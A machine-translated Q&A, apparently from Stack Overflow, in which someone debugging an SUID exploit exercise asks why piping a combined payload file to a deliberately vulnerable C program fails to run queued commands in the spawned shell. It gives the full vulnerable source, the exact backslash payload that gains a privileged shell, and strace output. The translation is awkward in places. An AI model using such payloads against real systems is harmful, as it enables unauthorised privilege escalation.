我正在利用一个SUID程序,在我提供了一个有效载荷之后,产生了一个/ bin / sh shell,然后我在一个名为commandsFile的文件中编写了我想要执行的命令,我将这些命令传递给程序
cat payload commandsFile | ./vulnProg
这很好用。命令文件中的命令会立即执行,输出会由新生成的sh shell显示,执行完所有后sh会终止,我会回到bash提示符。
但是,如果我尝试一下猫的简单变化......
cat payload commandsFile > combinedFile
cat combinedFile | ./vulnProg
...现在没有执行任何命令。我回到我的bash提示符,绝对没有输出。
我试过......
cat payload commandsFile | xxd
和
cat payload commandsFile > combinedFile
cat combinedFile | xxd
看看vulnProg是什么“看到”。它们绝对相同,每个字节,每个换行符都是相同的。我的问题是为什么第一个版本会起作用而第二个版本不起作用?这两者有什么区别?
脆弱的计划:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); }
void print(unsigned char *buf, int len)
{
int i;
printf("[ ");
for(i=0; i < len; i++) printf("%x ", buf[i]);
printf(" ]\n");
}
int main()
{
unsigned char buf[512];
unsigned char *ptr = buf + (sizeof(buf)/2);
unsigned int x;
while((x = getchar()) != EOF) {
switch(x) {
case '\n': print(buf, sizeof(buf)); continue; break;
case '\\': ptr--; break;
default: e(); if(ptr > buf + sizeof(buf)) continue; ptr++[0] = x; break;
}
}
printf("All done\n");
}
我的确切负载:
perl -e "print '\\\'x889192448" > /var/tmp/payload #move back ptr so that it starts with CA instead of FF which it initially contains.
echo a >> /var/tmp/payload #so that e() is called which spawns the shell
我的命令文件:
whoami
date
date
一些有用的输出:
$ sha1sum /var/tmp/combinedFile
1a0ba5bbdf9709e3f317b10a928a91dd63195733 /var/tmp/combinedFile
$ cat /var/tmp/payload /var/tmp/commands |sha1sum
1a0ba5bbdf9709e3f317b10a928a91dd63195733 -
此外:
$ strace -o /var/tmp/log1 cat /var/tmp/payload /var/tmp/commands > /dev/null
$ strace -o /var/tmp/log1 cat /var/tmp/payload /var/tmp/commands > /dev/null
$ diff /var/tmp/log1 /var/tmp/log2
1c1
< execve("/bin/cat", ["cat", "/var/tmp/payload", "/var/tmp/commands"], [/* 21 vars */]) = 0
---
> execve("/bin/cat", ["cat", "/var/tmp/combinedFile"], [/* 21 vars */]) = 0
29,30c29,30
< open("/var/tmp/payload", O_RDONLY) = 3
< fstat(3, {st_mode=S_IFREG|0664, st_size=889192450, ...}) = 0
---
> open("/var/tmp/combinedFile", O_RDONLY) = 3
> fstat(3, {st_mode=S_IFREG|0664, st_size=889192470, ...}) = 0
27168,27176c27168,27169
< read(3, "a\n", 65536) = 2
< write(1, "a\n", 2) = 2
< read(3, "", 65536) = 0
< close(3) = 0
< open("/var/tmp/commands", O_RDONLY) = 3
< fstat(3, {st_mode=S_IFREG|0664, st_size=20, ...}) = 0
< fadvise64(3, 0, 0, POSIX_FADV_SEQUENTIAL) = 0
< read(3, "whoami\ndate \ndate\n\n\n", 65536) = 20
< write(1, "whoami\ndate \ndate\n\n\n", 20) = 20
---
> read(3, "a\nwhoami\ndate \ndate\n\n\n", 65536) = 22
> write(1, "a\nwhoami\ndate \ndate\n\n\n", 22) = 22
但是我没有得到这个输出。有人可以解释一下吗?
答案 0 :(得分:1)
假设数据确实相同(并且你的校验和表明它们是相同的),那么它们的交付方式一定有些奇怪吗?
我不能告诉你这是什么,但我知道如何找出:使用strace
来观察系统调用cat
在每种情况下的效果。
strace -o log1 cat payload commandsFile > /dev/null
strace -o log2 cat combinedFile > /dev/null
diff log1 log2
如果没有显示任何不同之处,请尝试以类似的方式跟踪vulnProg
,或使用管道跟踪cat
,而不是重定向。
您也可以尝试将跟踪详细程度提高(请参阅strace --help
)。
最后,如果所有其他方法都失败了,请使用GDB逐步执行vulnProg
代码。
编辑:
查看您的跟踪,很明显,一个案例使用两个write
调用来实现另一个案例。这可能会对使用非阻塞读取的编写不良的程序产生影响,但您的程序看起来很好。